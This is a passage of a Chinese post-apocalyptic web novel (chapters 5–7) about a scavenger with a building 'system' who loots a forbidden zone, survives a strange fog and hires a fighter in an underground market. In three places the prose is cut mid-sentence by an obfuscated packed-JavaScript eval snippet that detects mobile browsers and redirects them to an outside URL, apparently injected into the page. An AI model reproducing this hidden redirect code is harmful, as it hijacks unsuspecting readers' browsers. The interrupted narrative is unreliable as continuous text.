“这就是她的异能?”阮天清的目光从那个忙碌的身影上收回,侧头问林煦言。 今早接到通讯时,这小子神秘兮兮地说遇到了个隐世高人,觉醒了了不得的能力。她起初还将信将疑,此刻倒是眼见为实了。 人不可貌相,这姑娘虽然穿得稀奇古怪,但她所觉醒的这类空间系异能,放在她们整个猎人工会,也算得上天赋异禀。 “太夸张了……”林煦言的眼睛跟着叶抒年转,声音里满是惊叹,“我也是头一回见她用。诶,你说这样的人才要是能进我们终律城……” “她不会加入你们。”阮天清打断他,语气平淡。 “话别说这么满嘛。我们终律城好歹是四大政权之一,资源、地位都不缺,除非另外三家来抢。不过据我所知,她暂时还没跟那些人打过照面。”林煦言说着,忽然注意到阮天清的目光已转向门外。 “很快,”阮天清说,声音里听不出波澜,“就会遇上了。” 林煦言顺着她的视线望去,呼吸微微一滞。 刚才还寂静无声的密林深处,不知何时,已隐隐传来枝叶被拨动的窸窣,以及某种刻意放缓、却仍掩藏不住的脚步声。 “不是吧……”少爷的表情瞬间垮了下来,颇有些苦不堪言的意味,“来得这么快?我就说这趟路顺得邪门。” 而另一边,叶抒年浑然不知自己的系统已经被误认为异能,心满意足地将最后一捆材料收进系统仓库。 除了任务所需的复合钢材,她还顺手装走了大半个厂房的稀有物料,都是原来世界没见过的好东西。 试问这和老鼠掉进米缸有什么区别? 要不是系统提示,未升级过的仓库容量已满,她能把这地方搬得只剩地皮。 她脚步轻快地回到两人身边,刚扬起笑脸想说“可以撤了”,就听见林煦言先一步开口,语气郑重得近乎悲壮: “姐!我是真把你当亲姐了!” 叶抒年被这没头没脑的一句砸得一愣。 “你知道的,姐,我们终律城有三家死敌……”林煦言开始铺垫,表情诚恳得几乎要滴出眼泪。 一旁的阮天清已经预判到他接下来要说什么,面无表情地转过身,拒绝让这段弱智发言污染自己的耳朵。 “虽然你没见过另外三家的人,但你要相信我,联邦那帮人,虚伪!净尘旅团,神棍!灵核秘会,那纯粹就是一群疯子!”他总结陈词,痛心疾首,“总之,没一个好东西!” 叶抒年看着他这副唱作俱佳的模样,努力绷着脸,配合地点了点头。 “所以,”林煦言图穷匕见,一把抓住叶抒年的袖子,“待会儿联邦的人要是想哄你走,你千万不能答应!绝对不能!” 叶抒年顺着他紧张的目光,瞥向门外隐约晃动的人影,若有所思。 “联邦……你说外面那群人?” 林煦言沉重地闭上眼,点了点头,仿佛已经预见了一场生离死别。 “可是,他们好像要跟一个人打起来了。” 林煦言猛地睁开眼。 只见工厂外,七八个棕褐色风衣的身影聚在一处,个个剑拔弩张。而站在他们对面的,是一个几乎要融进背后阴影里的男人。 但叶抒年看得很清楚。 他一身黑。皮马甲覆在无袖上衣外,下身是一条破洞牛仔裤,露出底下冷白的肤。而皮手套、宽腰带则收束出此人利落的线条。风吹过皮衣下摆,他站在众人对面,像一柄收入鞘中的刃。 这身行头太酷了。叶抒年低头扯了扯自己灰扑扑的防护服,心里有点郁闷。 明明都是废土求生,凭什么有人能穿得像小说里的男主,她却还裹着从工地捡来的这身工装?等她有钱了,也要弄这么一身。 就是不知道对方卖不卖…… “看够了就走吧。”阮天清的声音把人拉回现实,“趁他们没发现,我们走后门离开,免得碰上了又要费力气。” 叶抒年点点头,最后瞥了一眼那道黑色的身影,转身跟上。 这种以多欺少的场面没什么好看的,她想,看来林煦言也没说错,那群联邦的人的确是有些无耻。 但身后传来的争执声,又让她忍不住回头看。 “那你这里欠我们的用什么还!” 好耳熟的话,叶抒年觉得自己上辈子好像在哪听过,身体本能让她停下脚步。 几乎同时,身侧的林煦言也刹住了脚。两人对视一眼,都在对方眼里看到了同一种光芒:有瓜! 走在大路上听到八卦,能忍住不去看热闹吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958907|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显然不能。 两颗脑袋迅速凑到墙根,一上一下,直勾勾盯着外边争执的双方。 外头,联邦那个领头的人脸色涨红:“上回在东区废墟,你截走那批医疗试剂,我们没跟你算账。这次在旧仓库,你又抢先把生活物资搬空!之前看你就一个人,我们没下狠手,可你也别太过分!” 原来是这种无聊的内容。叶抒年与林煦言对视一眼,顿感无趣,默契地准备抽身。 可就在转身的刹那,身后骤然传来重物倒地的闷响。 两人倏地回身,重新贴回墙边。 只见联邦那名为首者已跌坐在地,而他面前,那道始终隐在暗处的人影,向前踏出了一步。 天光终于落在他脸上。 “乖乖!”林煦言倒抽一口冷气,猛地捂住自己的嘴。 “怎么了?”叶抒年小声问。 “那个人,就是我之前跟你说的检察官。” 叶抒年重新转过头,目光定定落在那人身上。那模样和她原本想象中的不太一样。 可惜了,她想,这下想要弄到那身衣服几乎是天方夜谭了。那种人,肯定说什么也不会愿意卖给她。 只一瞬,场面便彻底倾倒。 说是打斗,不如说是一场单方面的、干净利落的教育。 联邦那几人显然没料到,眼前这人就是传闻中那位。 他们大多是新人,只从前辈咬牙切齿的叙述里听过检察官的名号,直到此刻对方真正动手,那些打斗的招式,才与记忆中的描述对上。 因此,他们被揍得很惨。 惨不忍睹。叶抒年决定不看了。 她收回之前觉得联邦无耻的念头,现在看来,无耻的另有其人。她的目光飘向另一边,落在那些从联邦人手中不断掉落的武器上。 等等。 林煦言看着一旁“仰卧起坐”了三次的叶抒年,没看懂她这次又想做什么。他只知道眼下最紧要的是走,立刻走。等联邦的人被收拾完,下一个就轮到他们了。 外人或许不知,他心里却清楚得很。四大政权,都与这位检察官有旧怨。 听说当年,这人曾疯了一样满世界寻找某样东西,一种稀有到极致的材料,据说是为了救人。 终律城的长辈们提过,他最后确实找到了,可偏偏那时,四大政权正打得不可开交,谁也不肯放手。 直到那管据说能改造基因的药剂,落到检察官手里。 一夜之间,四大政权停了手,调转矛头,全部对准了那管药剂。 再后来发生了什么,长辈们语焉不详。只知道从此以后,四大政权的人只要在禁区里撞上检察官,就没有不挨揍的。 林煦言觉得,他身为终律城未来的继承人,挨这份揍倒也理所应当,但叶抒年是无辜的,不能连她也拖累…… 等等,叶抒年人呢? 他慌忙四顾,视野里却不见了那道身影。 阮天清的声音在身侧响起,语气里带着一丝不同寻常的玩味:“她刚才用了回响之心,冲进人堆里去了。” 她刚才没阻止叶抒年,甚至有些兴致盎然。因为她大概猜到了叶抒年想做什么。 真是太有趣了。 工厂外,联邦小队的抵抗接近徒劳。他们不断从随身行囊中抽出各式武器,却连使用的机会都没有。 那位检察官只是闲适地倚在阴影里,信手扯下身旁树枝的嫩叶,柔软的叶片便化作一道道疾飞的暗影,精准地击打在他们持械的手腕、手肘,或武器最脆弱的节点上。 不伤人,只缴械。 每一次叶片掠过,都伴随着金属或合成材料坠地的清脆声响。眼看携带的装备即将耗尽,几个联邦队员焦急不已,试图弯腰捡回地上的武器。 然后,他们集体愣住。 地上空空如也。 5. 第5章 叶抒年满载而归。 为了装下这些意外之财,她甚至忍痛从系统仓库里清出了一小部分普通材料。但用一堆不认识的建材,换来满地明显高级的武器,这买卖怎么算都值。 如果拿出去卖,说不定还能卖上好价钱。 她朝远处那几个还没反应过来的联邦队员方向,在心里默默道了声谢,然后毫不留恋地转身。 返回工厂的路途不远,但必经之路上,站着那位煞神。 幸好隐身效果还在,叶抒年因此胆气一壮,脚步不自觉地偏了偏,朝那位检察官凑近了几分。 她实在太好奇了,这人刚才那手飞叶为刀,到底怎么做到的?这招看起来又帅又省力,简直是理想的保命技能,很适合她偷师。 隔着几米距离仰视那个人,她能清晰看到那人脸上的神情。 游刃有余,波澜不惊,甚至有点无聊,那表情平淡得仿佛只是在做每日的晨间运动,尽管他的行为带来的结果异常悲壮。 装货。叶抒年暗骂,这个人看上去人模人样的,哪知道心肠如此歹毒。 或许是这声嘀咕太过真情实感,那位检察官竟真的动了动。他偏过头,视线精准而毫无征兆地,直直落向了叶抒年所在的位置。 甚至此人还稍微低头,刚好与她对上视线。那双眼似乎天生清冷淡漠,看什么都像隔着一层雾,一副不甚在意的样子。 妈耶!叶抒年呼吸一滞,虽然理智告诉她,对方不可能觉察到她的存在,但背后还是瞬间冒了层薄汗。 毕竟她刚刚还在蛐蛐人家。 此地不宜久留,她立刻屏息,绕开那道如有实质的视线,径直溜向工厂。 隐身效果还没解除,因此趴在货架上看戏的林煦言对身旁多了个人浑然不觉,还在伸长脖子张望,语气满是遗憾与敬佩:“啧,我以前怎么就没想过这招呢……” 他刚才可是看清了,联邦那些队员手里掉的都是好东西。联邦专攻生物基因编辑,许多造物是他们终律城眼红也弄不来的稀缺品。 “既然如此,以后就多跟姐学着点。”叶抒年站在一旁,淡定地接了话。 “哎呀!”林煦言吓得一个激灵,差点从货架上栽下来,“你、你回来了!” 阮天清虽看不见隐身状态的叶抒年,却从远处战局的变化和叶抒年离开的时间,大致推算出她已折返,因此并不像林煦言这般大惊小怪。 “看来你这趟收获颇丰。”她转向叶抒年声音传来的方向,“时间不早,我们该走了。入夜之后,这地方会更麻烦。” 作为经验丰富的赏金猎人,她很清楚权衡取舍。 夜幕一旦降临,规则会变得更加活跃且难以预测,至少那座灯塔会亮起。这种时候贪多,可能意味着再也走不出去。 事实证明,她的谨慎并非多余。 返程的路起初很顺利,出口已遥遥在望,只需要不过一刻钟的脚程,就能安然离开。然而,就在希望触手可及时,诡异发生了。 雾来了。 并非寻常的水汽。叶抒年只觉得脚下地面一凉,乳白色的雾气便从贴近土壤的每一寸缝隙里翻涌而出,像有生命般急速膨胀,而后氤氲攀升。 不过眨眼之间,前后左右,目力所及的一切,路径、枯木、远处建筑物的轮廓,甚至身旁同伴的身影,都被这纯白彻底吞没。 她明明睁着眼,却仿佛陷入无尽混沌。眼球接触到雾气后,她的世界便像是被关上了灯。 之前阮天清怎么提醒来着?叶抒年不敢轻举妄动,努力回忆着对方的话。 雾气弥漫时,要保持禁止。 她的视野里,已经全然看不到阮天清和林煦言的存在,因此她只能暂且独善其身,谨遵规则,静静立在原地。 静止让时间变得粘稠,四肢开始发出酸涩的抗议。偏偏在这片剥夺视觉的纯白里,听觉被无限放大。 叶抒年耳边充斥着各种声音,它们无一不带着强烈情绪,尽管她听不懂其中内涵,却还是为之感到一丝寒意。 一个念头在她脑海中闪过。 这雾,是活的。 她不知道这念头从何而来,或许是出于上辈子学理科刨根问底的本能。 在这漫长而乏味的时间里,她总想给这一切怪诞找个原理,即便她知道,这片禁区就是怪异本身,很多规则也许并不存在什么隐情。 叶抒年的思绪很乱,但她控制不住,只能放任自己的思想,从禁区规则一直游荡到上辈子为画图纸熬的无数个夜。 此前,从她穿越到这个世界起,就一直处于高度紧张的环境中,哪怕后来得到了庇护所,她也告诫自己不去想太多,活在当下才是此时最明智的做法。 可是她很郁闷,她不辞辛劳苦读那么多年,凭什么在终于将要熬出头的时候死掉?凭什么命运又一言不发,并未事先过问她的意见,就将她扔到这种末日自生自灭?凭什么! 直到此刻,那些被压下的不安与愤懑,像终于找到支点的藤蔓,悄无声息地缠绕上来,然后爆发! 爆发。然后突然哑火了…… 因为她感受到了一只手。 一只冰凉的手,正缓缓贴上她的脸颊! 显然,那只手不可能属于阮天清或林煦言,雾气未散,规则当前,她们不会妄动。 那么只剩下一种可能…… 叶抒年不无绝望地想,她肯定是撞鬼了。 最初惊骇仿佛针扎进脊椎,她浑身肌肉绷紧,血液涌向四肢。可那东西的触碰却出乎意料地……平静。 没有攻击,没有伤害,只有指尖不停在她脸上逡巡,描摹过她的眉骨,眼窝,最后是鼻梁,仿佛在拓印一件刚出土的器物,仔细而虔诚。 动作很轻柔。 但也很欠揍。 这东西凭什么,像摆弄物件一样碰她? 叶抒年僵着身子,被这只鬼折腾得烦闷不已,这种情绪甚至盖过了刚才的恐惧感,但又碍于规则,不得不憋屈地默许。 有一瞬她甚至想,等老娘有朝一日强大了,一定把你们这禁区里的妖孽一锅端了! 鬼手在这时候倒是很识相,终于在叶抒年忍无可忍之前离开,大抵是希望她大人不记小人过,将来留他一条小命。 也就在同一刻,原本浓重怪诞的白雾,开始飞速退散,耳边的嘈杂也骤然平息。 “姐?姐!你没事吧!” 林煦言的声音像一根线,将她从黏稠的思绪里猛地拽了出来。紧接着,手腕传来坚定而温热的触感,是阮天清握住了她。 “这雾会放大人心里的东西。”阮天清的声音很近,很稳,“极端的那部分,别被它带着走。” 原来如此。叶抒年闭了闭眼,再睁开时,心中那点残存的苦闷,已随着最后一丝雾气悄然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958908|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散去。 她就知道。自己向来不是会被情绪轻易淹没的人。刚才那些翻腾不休的念头,果然不对劲。 在那种诡异的迷雾里,似乎发生任何怪事都不足为奇,因此,叶抒年并没有透露刚才遇到了鬼手的事。她觉得自己不必失惊倒怪,给别人徒增烦扰。 风重新穿过林隙,带来植物与泥土的安稳气息。 经那场雾中诡事后,回程的路反而异常平静。三人赶在天光沉入地平线前,回到了庇护所。 刚回来,叶抒年就将系统空间里满当当的材料腾出一部分,暂且堆在二楼,为的是下次再遇到类似情形,她依然可以酣畅淋漓地捡漏。 当然,身为一个兢兢业业的卷王,她夜里也没有停止本职工作。 阮天清和林煦言各自搬了张躺椅坐在一旁,目不转睛地盯着她搬砖。她们也不是没有提出要帮忙,但被叶抒年果断婉拒了。 “姐,我算是知道,你为什么能够在这种地方生活这么久了,你简直是个超人!”林煦言话痨,不说两句话就浑身不舒服,哪怕叶抒年此刻根本没空搭理他。 在这个世界上,尽管大部分幸存者都居住在各式庇护所里,但人类目前所保存的建筑技术,已较灾变前倒退了不少。 加之灾变初期,少爷才刚记事,对曾经的建筑工艺了解不多。因此在他看来,叶抒年拿着那些叫不上名字的自制工具,对墙体比划的样子,简直独树一帜。 阮天清则没说话。 叶抒年感念她这趟行程帮的大忙,已将她当做这间民宿的首位贵客。因而,她此刻正慢慢嚼着老板塞给她的辣条,一时半会儿腾不出嘴。 她看着叶抒年利落的动作,良久,才很轻地说了一句:“你很厉害。” 这话从她口中出来,已是极高的认可。 叶抒年这里敲敲打打,那里涂涂抹抹,辅佐以系统赋予的意念修葺能力,很快将第二层楼的基础框架筑好。 虽然这系统从绑定的第一天起,就对她爱答不理,仿佛跟她有仇一般,但有些时候,它提供的帮助也是实实在在。这一整套下来,叶抒年没费太大力气。 夜风穿过尚未封上的窗口,带来荒原干燥的气息。她抹了把额角的汗,手中还握着她的破锤。 只差最后几个步骤,这一层就算完工了。眼看最后几处墙面就要抹平,叶抒年心头那点雀跃几乎要压不住,生平第一次觉得盖房子是件如此愉悦的事。 她拎起桶,准备调和最后一点水泥。 “检测到本次修葺缺少关键材料,任务无法完成。”系统的机械音毫无预兆地砸下来,像一盆冷水,压住了她嘴角将扬未扬的笑。 叶抒年冷不防听到这话,心都紧了,小心翼翼地问:“您老又有什么吩咐?这次要什么材料?” 【所需材料:1、复合结构钢材(已完成);2、腐酸犬齿。】 【材料来源提示:003号禁区。】 腐酸犬齿。003号禁区。 叶抒年简直不敢相信自己的眼睛。 她原以为,这次突然要求增加材料,应该不会是什么艰难的任务,没想到这破系统让她再进一次禁区,甚至还是她刚去过的那个! “你之前怎么不早说?”她质问道。 系统静默了一瞬,然后,平稳无波的声音再度响起:“忘记了。” 叶抒年气得摔锤。 6. 第6章 突如其来的动静,把角落里分享零食的俩人吓了一跳。林煦言打了个哆嗦,战战兢兢地朝叶抒年看去。 “姐,您有什么事直接吩咐,别把地板砸穿了……” 经过这短暂一日的相处,他已经在心底里认定,这个凭一己之力、徒手在荒芜地平地起高楼的女人,必定是个隐世高手。 而他,身为终律城未来的继承人,自然得尽早筹谋,将她揽入麾下。这么想着,那副小弟姿态便做得愈发真心实意了。 那些追随少爷多年的属下,乃至他那位执政官兄长,大概永远也想象不到,他们的小少爷竟然还有这么狗腿的一面。 而另一旁,阮天清将林煦言短期间的转变尽收眼底,她亲眼目睹了这个人从目无下尘,演变为现在这副模样,眼底不禁掠过一丝看热闹的轻笑。 她自然是向来不畏权势,从前也没给过这位少爷什么好脸色。但亲眼见他低头,滋味终究不同。 “忙了一天,累了吧?”她瞥见叶抒年因长期劳作而泛红的手心,走过去,俯身拾起地上的铁锤,又将一块温热的毛巾递到她手里,“今天就到这儿,先下楼好好休一晚。” 哪知叶抒年一直低垂的头忽然抬了起来,眼神湿漉漉地望定她:“清清——” 阮天清被这幅比林煦言当狗腿更骇人的模样雷到,不自觉后退一步,紧接着就被叶抒年攥住了手臂。 “你能不能陪我再去一次003号禁区!”叶抒年豁出去了。也懒得铺垫那么多起承转合,她直抒胸臆,虔诚地对着阮天清许愿。 她自知今天承了人情,总要报答点什么。 “这样,我今天捡来的武器,你随便挑。楼下的房间也任选一间,今后那间房就归你,永远免费。你再帮我这一次!” 听完叶抒年的请求,阮天清反而松了口气:“你直说不就好了?再去一趟禁区而已,小事。” 不是小事。 至少这次不是。 叶抒年心中悲愤。她刚才已经逮着系统盘问清楚了,腐酸犬齿源自一种高阶异兽。说是“犬齿”,实则由狼异化而来。一旦被咬,齿上毒液顷刻间便能蚀肉销骨,几乎无救。 她还知道,狼,从来成群出没,在森林禁区里,绝不会只有一只。她要对付的不是一只高阶异兽,而是一整群高阶异兽! 正因如此,她才在刚才陷入了短暂的绝望。 她怎么也想不明白,这个犬齿与建房子究竟有什么关联。至少在她过去的从业生涯中,从来没用犬齿做过建材,狼齿也没有。 阮天清看出她的为难,立即意识到这次的目标不简单。 “你要是担心三人不够稳妥,”她直截了当,“可以再招募一名打手。万一遇险,我们也能多一分力护你周全。” 这倒是个靠谱的提议,可提到招募打手,三人同时陷入了沉默。 叶抒年不必说,自己还没全然适应新环境,唯二认识的人都在面前站着了。 阮天清独来独往惯了,与猎人工会里的人也多是竞争关系,一时想不出什么空闲又可靠的人选。 而林煦言,他此刻能够继续坐在这里,已经是叛逆的结果。今早他刚与家中取得联系,终律城的护卫不日便要接他回去。 他为了在这豪华庇护所里多享受两天,故意没说方位,让对方晚两日再来。因此,少爷现在处于触怒大哥自身难保的状态,更别提从家里调人了。 “实在不行……”阮天清斟酌着开口,“可以去广场看看。” “广场?” 见叶抒年面露不解,林煦言立刻接过话头:“广场就在距离这里不远的另一片荒芜地里,你可以理解为黑市,通常正经人不会去那里。” 最后一句话说得多余,阮天清瞪了他一眼。 “那里的确鱼龙混杂。”她转向叶抒年,语气放缓,“你留在这儿等,我独自去一趟就好。” 叶抒年自然没有同意。哪怕只为多了解这个世界一分,她也该亲自去看看。未来的路还长,她不能永远依赖他人的善意。 于是,短暂休整后,天未破晓,三人再次出发。有了上次的经验,叶抒年在跨上摩托后座前,特意找了根发绳将长发束起。 她现在有些后悔留这么长的头发了。上辈子中学时被强制剪发的记忆太深,导致她毕业后报复性留长发。但在这里,水是稀缺资源,洗头成了奢侈。她想着,该找机会剪了。 与此同时,身后缀着的山地车上,林煦言也在懊恼。他先前为了那点少爷形象留长的头发,此刻正狼狈地沾满灰尘,怎么甩也甩不脱,活像一团鸡窝。 好在阮天清没骗人,广场确实不远。车行不到一小时,嘈杂人声便隐隐传来。 摩托被停放在一片空地上,叶抒年一步三回头。像这种随意停放的方式,哪怕是放在她原来的世界里,也该被偷了。 直到阮天清向她解释:“这车印着猎人公会的标志,没人敢偷。如果真出现了不要命的,也不是一把锁能解决的事。” 所以没必要锁。 叶抒年这才跟着往前走去,顺手帮林煦言捋了捋头顶的鸡窝。 “我们真的到了吗?怎么一个人都没有?”叶抒年环顾四周,只见空荡的平地和巷弄。 两侧是灾变前留下的小铺面,时隔这么多年,早已被搜刮一空。人声却从地底漫上来,嗡嗡的,很近,像隔着一层土。 “这里。”阮天清指向一处。 叶抒年这才发现,旧城残躯里竟还藏着个地铁口。地铁口前,2号口的牌子斜挂着,上面用醒目的黄色涂料覆了两个字:广场。 朴实无华的取名方式。 叶抒年原以为底下不过是条逼仄的隧道,待拾级而下,眼前却豁然洞开,她深刻体会到了什么叫做合理利用空间。 昔日的换乘大厅被完整地保存下来,成了地下的墟市。穹顶高阔,廊道四通八达,头顶应急灯连成一片暖濛濛的光海,照着两旁鳞次栉比的铺位,以及攒动的人影。 广场入口处,几名重装守卫正逐一搜查着排队者的随身物品。轮到叶抒年时,她已将所有东西收进了系统空间,只一身利落,很快便通过了检查。 黑衣蒙面的守卫递来一张纯白面具,覆盖全脸,只留眼孔两处。 看来这地下黑市还挺注重买家隐私。 她接过来戴上,世界便窄成一片朦胧的白。身后,阮天清和林煦言也戴好了面具,只能从着装辨认出身份。 “对了姐,这底下人多,把你的影语石跟我加个联系方式吧。”林煦言凑上来小声道。 “影语石是什么?” 林煦言一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958909|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣,随即露出“我懂得”的神色。隐世高人嘛,不需要与外界过多联系,因此不知这个也正常。 他正想解释,阮天清已轻轻拉过叶抒年,往靠近门口的一家铺子走去。 这间铺子能占着门口的位置,是有些说法的。三人甫一进店,店门旁铁架上的活物立即说了声“欢迎光临”。 叶抒年被吓了一跳,定睛一看才发现是只绿毛鹦鹉,正歪着头看她。 叶抒年被盯得毛骨悚然,将头别过去,试图寻找店主,却一个人影也没看见,只看到玻璃展柜里琳琅满目的彩色石头,被雕成手串、坠子,幽幽地泛着光。 原来这里的人就用这个东西通讯。叶抒年觉得新奇,她猜到这里的通讯手段可能有所不同,但原以为会是更科技些的样式,没想到居然是朝着这种玄幻的方向发展。 “给她拿一块便捷型的。”阮天清对鹦鹉说。 那绿毛家伙眼珠一转,扑棱着翅膀飞到里间,不多时,叼了只小绒布袋出来,啪嗒落在柜台上。袋口松开,露出一枚淡青色的扁石,穿在细皮绳上,像枚沉静的月亮。 影语石被叶抒年托在掌心。经过一番研究,她这才发现,那并非天然石料,而是由细密芯片叠就,外覆一层仿石纹理。做得倒是精巧,这废土世界的人审美不错。 另一边,林煦言取出自己的影语石,指腹在石面轻轻一划,一泓微光立即浮起,在空气里展成薄薄的光幕。 叶抒年看着那些流转的数字,才明白这里的交易用的是虚拟货币,这方面倒是发展得和她原本的世界差不多,只不过这里的货币是以积分的形式存在。 听林煦言说,一定量的积分可以在联合庇护所中兑换物资。 叶抒年立刻得到启发,想着她那些堆在系统空间里用不上的物资,或许能换成积分,再拿来买她需要的东西。 一想到她每修一层楼,系统都会发放丰厚的物资奖励,就觉得鸡生蛋蛋生鸡生生不息,她这辈子注定要发财! “时候差不多了,去其他铺子看看,说不定能找到合适的打手。” 阮天清还惦记着招募队友的事情,这黑市她很熟悉,清楚什么时候会出没什么人。这个点,那些靠着刀口过日子的人该醒了。 交换完影语石的联系方式,阮天清带着两人往深处走。隧道两侧的铺子渐渐密起来,门口悬着的油灯在过道风里微微地晃。 这地铁隧道已然被人为改造成一座迷宫,路径盘绕曲折,像是故意让人记不住来路。 叶抒年只知道自己转了好些弯,在第三次经过相似的路口时,几乎要疑心是鬼打墙了,才被引进一间铺子。 这铺子与先前那家大不相同。说它是铺子,倒更像一间静悄悄的酒馆。 门口长凳上疏疏坐着几个女人,个个身姿挺拔,肩背舒展。肌肉线条在昏光下显得流畅而结实,是那种经年累月打磨出来的、蕴着力量的好看。 阮天清径自走向柜台。那儿的女人正低头拭着杯子,眼角一粒泪痣,随着动作微微地起伏。 阮天清抬手轻叩台面:“要进003号禁区,找个人手。” 女人抬起头,袖子挽到肘间,露出的手臂线条利落。她没说话,只往阮天清肩上拍了拍,便转身朝最里处的角落扬了声: “小俞,来生意了。” 7. 第7章 灯光昏暗的酒馆角落里,一道身影从角落卡座里起身,朝这边走来。 那人从黑暗中穿过,叶抒年只能隐约看见瘦高纤细的剪影,直到柜台天花板跃动的暖白光束投在那人脸上,她才看清对方的模样。 这是个极标致的人。白金长发垂在肩头,一双桃花眼生得潋滟。她穿着条利落的牛仔短裙,一双腿笔直修长,黑色丝网袜裹出匀称的肌骨线条,脚下却蹬了双短皮靴,踩在地上,一步步都带着飒飒的响。 “几点动身?”她开口,没半句多余。 叶抒年和阮天清对了个眼神,答道:“越早越好,早去早回。” “行。”那人利落地划了笔积分给老板,又从卡座上拎起件外套,“不过先说好,我只负责打架,保护雇主不在禁区被人为威胁,如果你们触犯了什么未知的规则,我可不管。” “没问题。”阮天清雇人的目的就是这个。 她们昨天才在禁区撞见联邦的人,虽然运气好没被发现,但这次要是再遇上个四大政权的主力队,找东西就会变得麻烦许多。 “你们倒是挺爽快。”白发女子眼波扫过三人,“不过我接活还有个规矩,先付全款,再进禁区。” 林煦言闻言,立刻掏出影语石,打算给对方划款,被叶抒年轻轻按住。 叶抒年不愿欠太多人情,想着自己换些积分来付。她抬眼看向那人:“请问怎么称呼?” “俞不晚。” 莫道桑榆晚,寓意不错。叶抒年默念这名字,颔首道:“俞小姐幸会,我叫叶抒年。关于报酬,能否稍等片刻,我去换点积分回来。” 俞不晚眼波流转,唇角弯了弯:“我还没说,我要什么报酬呢。” 叶抒年怔住。听对方这话的意思,要的恐怕不止是积分。于是忐忑又满上心头,她也不知道自己能否给出对方想要的东西。 “请问俞小姐想要什么?” “联邦新制的枪炮,M16。” 完了,叶抒年心一沉。这种内部武器,她要上哪找去? 无奈之下,她也顾不了什么人情,凑到林煦言身旁小声问:“你知道这东西上哪可以弄到吗?” 她本想着,若是这东西在市面有流通,那么她总能想办法用积分换来,毕竟她昨天可是搬空了半个工厂,不差这点物资。若是市面上不流通,她恐怕就真得求人搭桥了。 可林煦言还没开口,俞不晚的声音又响了起来:“你问他做什么?你自己不就有一架么。”她目光落在叶抒年脸上,眨了眨眼,“还是说……舍不得?” 叶抒年傻了。她手里有一架吗?她自己怎么不知道。 “姐,你昨天捡回来的那堆武器里,好像是有这么个东西。”林煦言终于找到空隙,小声提醒。 叶抒年立即唤出系统界面。虚拟光幕浮现,物品栏中果然躺着一架形制特殊的枪械。她将其取出,握在手里沉甸甸的,却没急着递过去。 “你怎么知道我有这个?”她抬头对上俞不晚的目光。 俞不晚却只笑了笑,说:“我的异能,多余的无可奉告。” 她顿了顿,目光在叶抒年身上浅浅一绕,又意有所指地补充:“不过我没想到,你居然觉醒了空间系异能,怎么做到的?能不能教教我!” 叶抒年不想搭理她。自己的秘密守得严实,倒来探别人的底,哪有这样的道理。她将M16递给俞不晚,话也转得干脆:“既然报酬你已经拿到了,那么现在就跟我们进禁区吧。” 阮天清与林煦言已准备妥当,正打算往外走,却被俞不晚一句话拦下了。 “不急。”她将刚到手的M16随意架在肩上,“去禁区前,我得先回趟家取点东西。顺便,带你们见个人。” “我们需要见什么人?”阮天清警惕地问。 “莱特·菲尔温。” 阮天清神色倏然认真起来:“003号禁区的开创者?你认识他?” 她听过这个名字。 在十多年前,幸存者们还没有探索禁区的勇气,直到这位菲尔温首次在联合论坛公开了独闯003号禁区的详尽手记。 其中讲述了他的亲身经历,总结出如今广为人知的四条禁区规则,以及他在禁区内见到的种种奇观。 那篇帖子一经发出,很快掀起了全世界幸存者权威组织探索禁区的浪潮,同时也缓解了部分物资短缺引起的生存焦虑。 俞不晚转身往店外走去,枪管在肩头映着游光。 “他隐退后就一直住在地下城。”她回头瞥了三人一眼,唇角微扬,“巧得很,就在我对门。” 这缘分倒是巧妙。叶抒年与林煦言走在后头,听罢关于那位开创者的种种,心下觉得能见上一面、问问禁区里的经验,这交易便不亏。 出了地下广场,叶抒年将面具还给门口的守卫,随俞不晚踏入一条幽长的隧道。 脚下是废弃的铁轨,锈色斑驳,一旁还歪着半截灾变前的地铁车厢,如今已无法看出其昔日辉煌。 隧道尽头连接着一座地下城。这里并非庇护所,没有高垒的护墙,也不受任何政权管辖,看上去和广场的环境差不多。 叶抒年走在其中,抬头只能看到由各种荧光棒和彩灯布置出的模拟天空。显然那些荧光棒劳作多年,这会儿已经有些黯淡了,光晕朦胧,像蒙了层旧雾。 道路两旁挤着低矮的板屋,形似工地的临时宿舍,简陋却整齐。 一想到创世级别的高手居然住在这种地方,叶抒年忽然觉得有些恍惚,又有些微妙的苦涩。 同是天涯沦落人,上辈子她勤恳苦读十数年,到头来也是死在这种廉租房附近。 “就这里。”俞不晚停下步子,从外套口袋里摸出一串钥匙,叮叮当当响个不停。她很快精准找到对应的那片,打开了底层的铁栅栏。 